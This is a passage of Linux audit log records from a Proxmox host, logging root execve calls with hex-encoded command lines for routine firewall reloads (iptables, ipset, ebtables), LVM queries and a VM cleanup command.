uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.877:68949): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966361324,"@rawstring":"node=pve type=PATH msg=audit(1781966361.324:69422): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965014225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965014.225:63604): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d74090f0 a1=64f8d73dff10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61023 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215869,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.869:68948): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966361316,"@rawstring":"node=pve type=PATH msg=audit(1781966361.316:69421): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011485,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965011.485:63603): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61020 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.864:68947): proctitle=697073657400726573746F7265"} {"@timestamp":1781966361316,"@rawstring":"node=pve type=PATH msg=audit(1781966361.316:69421): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965011476,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965011.476:63600): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61019 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215856,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.856:68946): proctitle=\"ip6tables-save\""} {"@timestamp":1781966361316,"@rawstring":"node=pve type=PATH msg=audit(1781966361.316:69420): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965009333,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965009.333:63597): arch=c000003e syscall=59 success=yes exit=0 a0=64a77610d4e0 a1=64a7760fb090 a2=64a77612dc30 a3=8 items=2 ppid=60443 pid=61018 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"find\" exe=\"/usr/bin/find\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215849,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.849:68945): proctitle=\"iptables-save\""} {"@timestamp":1781966361315,"@rawstring":"node=pve type=PATH msg=audit(1781966361.315:69419): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006466,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965006.466:63596): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61017 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215846,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.846:68944): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966356306,"@rawstring":"node=pve type=PATH msg=audit(1781966356.306:69418): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965006451,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965006.451:63593): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.842:68943): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966356306,"@rawstring":"node=pve type=PATH msg=audit(1781966356.306:69418): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005617,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.617:63590): arch=c000003e syscall=59 success=yes exit=0 a0=5a4d5eda0b20 a1=5a4d5edace40 a2=5a4d5ed7a680 a3=5 items=2 ppid=61009 pid=61015 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215840,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.840:68942): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966356306,"@rawstring":"node=pve type=PATH msg=audit(1781966356.306:69417): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005613,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.613:63589): arch=c000003e syscall=59 success=yes exit=0 a0=5a4d4a948ac8 a1=7ffd01ef0ec0 a2=5a4d5ed7a680 a3=5a4d4a92c24e items=2 ppid=61009 pid=61011 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215840,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.840:68941): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966356306,"@rawstring":"node=pve type=PATH msg=audit(1781966356.306:69416): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005613,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.613:63588): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd01ef0e80 a1=5a4d5ed9c1c0 a2=5a4d5ed7a680 a3=5 items=2 ppid=61009 pid=61010 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215835,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.835:68940): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966356297,"@rawstring":"node=pve type=PATH msg=audit(1781966356.297:69415): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005609,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.609:63586): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61009 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.833:68939): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966356297,"@rawstring":"node=pve type=PATH msg=audit(1781966356.297:69415): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.603:63585): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61008 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.833:68938): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966356297,"@rawstring":"node=pve type=PATH msg=audit(1781966356.297:69414): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.597:63584): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61007 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.833:68937): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966356297,"@rawstring":"node=pve type=PATH msg=audit(1781966356.297:69413): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005591,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.591:63583): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61006 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.828:68936): proctitle=\"ip6tables-save\""} {"@timestamp":1781966355198,"@rawstring":"node=pve type=PATH msg=audit(1781966355.198:69411): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005585,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.585:63582): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61005 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.828:68935): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966355198,"@rawstring":"node=pve type=PATH msg=audit(1781966355.198:69411): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005582,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.582:63581): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5f5ad9fac740 items=0 ppid=1156 pid=61004 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966215828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.828:68934): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966355194,"@rawstring":"node=pve type=PATH msg=audit(1781966355.194:69410): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005578,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.578:63580): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed5d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61004 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215827,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.827:68933): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966355194,"@rawstring":"node=pve type=PATH msg=audit(1781966355.194:69410): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005575,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.575:63579): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecd70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61003 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215819,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.819:68932): proctitle=\"iptables-save\""} {"@timestamp":1781966355191,"@rawstring":"node=pve type=PATH msg=audit(1781966355.191:69409): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005570,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.570:63578): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0edcb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61002 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215814,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.814:68931): proctitle=69707365740073617665"} {"@timestamp":1781966355191,"@rawstring":"node=pve type=PATH msg=audit(1781966355.191:69409): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005565,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.565:63577): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fcfa0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61001 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215805,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.805:68930): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966355190,"@rawstring":"node=pve type=PATH msg=audit(1781966355.190:69408): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005561,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.561:63576): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0edcb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61000 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215794,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966215.794:68929): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966355190,"@rawstring":"node=pve type=PATH msg=audit(1781966355.190:69408): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005555,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.555:63575): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4b4e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60999 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966214467,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966214.467:68928): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966355190,"@rawstring":"node=pve type=PATH msg=audit(1781966355.190:69407): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005549,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.549:63574): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60998 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966214431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966214.431:68927): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966355184,"@rawstring":"node=pve type=PATH msg=audit(1781966355.184:69406): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005544,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.544:63573): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60997 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210818,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966210.818:68926): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966355184,"@rawstring":"node=pve type=PATH msg=audit(1781966355.184:69406): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.540:63572): arch=c000003e syscall=59 success=yes exit=0 a0=5beef6cace90 a1=5beef6ca9c10 a2=5beef6c8b680 a3=5 items=2 ppid=60990 pid=60996 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210818,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966210.818:68925): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966355184,"@rawstring":"node=pve type=PATH msg=audit(1781966355.184:69406): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.536:63571): arch=c000003e syscall=59 success=yes exit=0 a0=5beef6937ac8 a1=7fff9a237ed0 a2=5beef6c8b680 a3=5beef691b24e items=2 ppid=60990 pid=60992 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210818,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966210.818:68924): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966355178,"@rawstring":"node=pve type=PATH msg=audit(1781966355.178:69405): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005535,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.535:63570): arch=c000003e syscall=59 success=yes exit=0 a0=7fff9a237e90 a1=5beef6c92310 a2=5beef6c8b680 a3=5 items=2 ppid=60990 pid=60991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966210.809:68923): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966355178,"@rawstring":"node=pve type=PATH msg=audit(1781966355.178:69405): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005531,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.531:63568): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60990 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966210.809:68922): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966355173,"@rawstring":"node=pve type=PATH msg=audit(1781966355.173:69404): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005525,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.525:63567): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60989 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966210.809:68921): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966355173,"@rawstring":"node=pve type=PATH msg=audit(1781966355.173:69404): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.518:63566): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60988 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207477,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.477:68920): proctitle=2F7573722F62696E2F7065726C002F7573722F7362696E2F716D00636C65616E75700038373700310030"} {"@timestamp":1781966355166,"@rawstring":"node=pve type=PATH msg=audit(1781966355.166:69403): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005514,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.514:63565): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc147930 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60987 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} 